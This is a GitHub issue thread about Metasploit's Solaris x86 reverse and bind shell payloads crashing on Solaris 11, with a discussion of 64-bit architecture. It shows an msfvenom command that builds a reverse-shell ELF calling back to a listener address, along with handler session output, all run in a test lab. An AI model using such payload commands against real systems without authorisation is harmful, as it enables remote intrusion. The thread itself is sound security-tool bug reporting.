Solaris x86 shell payloads segfault on Solaris 11

[bcoles]

The solaris/x86/shell_reverse_tcp and solaris/x86/shell_bind_tcp payloads segfault on Solaris 11.1.

./msfvenom -f elf -p solaris/x86/shell_reverse_tcp LHOST=172.16.191.244 LPORT=1337 > reverse.solaris.x86.1337.elf
No platform was selected, choosing Msf::Module::Platform::Solaris from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 91 bytes
Final size of elf file: 175 bytes

jack@solaris:~/Desktop$ uname -a
SunOS solaris.sealab.local 5.11 11.1 i86pc i386 i86pc
jack@solaris:~/Desktop$ isainfo -b
64
jack@solaris:~/Desktop$ cat /etc/release 
                             Oracle Solaris 11.1 X86
  Copyright (c) 1983, 2012, Oracle and/or its affiliates.  All rights reserved.
                           Assembled 19 September 2012
jack@solaris:~/Desktop$ ./reverse.solaris.x86.1337.elf
Segmentation Fault (core dumped)

[*] Started reverse TCP handler on 172.16.191.244:1337 
[*] Command shell session 14 opened (172.16.191.244:1337 -> 172.16.191.170:39491) at 2018-02-05 04:50:22 -0500
[*] 172.16.191.170 - Command shell session 14 closed.  Reason: Died from EOFError

^C[-] Exploit failed: Interrupt 
[*] Exploit completed, but no session was created.

Payloads work on Solaris 10 i386:

msf5 exploit(multi/handler) > sessions -i 18 -c "uname -a"
[*] Running 'uname -a' on shell session 18 (172.16.191.170)
SunOS unknown 5.10 Generic_147148-26 i86pc i386 i86pc

[bcoles]

Despite being described as x86, Solaris 11 is x64, as per output from isainfo -b.

The solaris/x86/* payloads segfault on Solaris 11.1 and 11.3.

[ghostr3con]

Do you mean the Solaris 11 is 64-bit even though it says it's x86?

[bcoles]

@kennywolly Yes. There are two main Solaris branches: SPARC and Intel (previously known as ia32; now x86).

Solaris 11 x86 uses a 64-bit instruction set, as per output from isainfo -b.

The -b flag for isainfo prints the number of bits in the address space of the native instruction set.

[ghostr3con]

Wow! I have a Solaris 11 x86 running on VirtualBox, the registers (%esp, %ebp..and others) were had more than 32 bits in form of memory addresses and I could not really understand why.

Although I have carried out some buffer overflow and pointer manipulation techniques on this solaris and another ubuntu x86. Besides this difference in the size of the instruction set, are there any structural assembly implementation differences between the solaris OS and linux (ubuntu)?

[bcoles]

@kennywolly Not that I'm aware of. Linux x64 should be very similar to Solaris x64 (aka x86).

There are probably some nuances - the recent issues surrounding debug exceptions following pop ss, mov ss, and resulting vulnerabilities, as a good example of differing OS implementations.

The SPARC / Intel dichotomy has existed since Solaris put the dot in dot com. I suspect simultaneously managing two branches for two different architectures would likely have affected subsequent design decisions. The change-of-the-guard resulting from the sale of Sun likely also caused some issues.

While not directly related to assembly implementation, it's also worth noting that Linux and Solaris ELF file formats differ sufficiently to be an annoyance.

However, I'm not a Solaris expert, and this isn't really the right place to ask, unless you're planning on adapting the existing shellcode for the bind and reverse payloads to support Solaris 11, which would be awesome.

[bwatters-r7]

Would the best choice simply be to create an x64 Solaris payload?

[bcoles]

@bwatters-r7 that would be awesome

I believe @busterb had some success with building meterpreter for Solaris, as per: https://github.com/rapid7/mettle/pull/120

[bcoles]

Tested on Solaris 11.1, Solaris 11.3, Solaris 11.4.

Sep 13 10:51:06 solaris genunix: [ID 533030 kern.notice] NOTICE: reverse.solaris.[16301] attempt to execute code on stack by uid 100

[github-actions[bot]]

Hi!

This issue has been left open with no activity for a while now.

We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.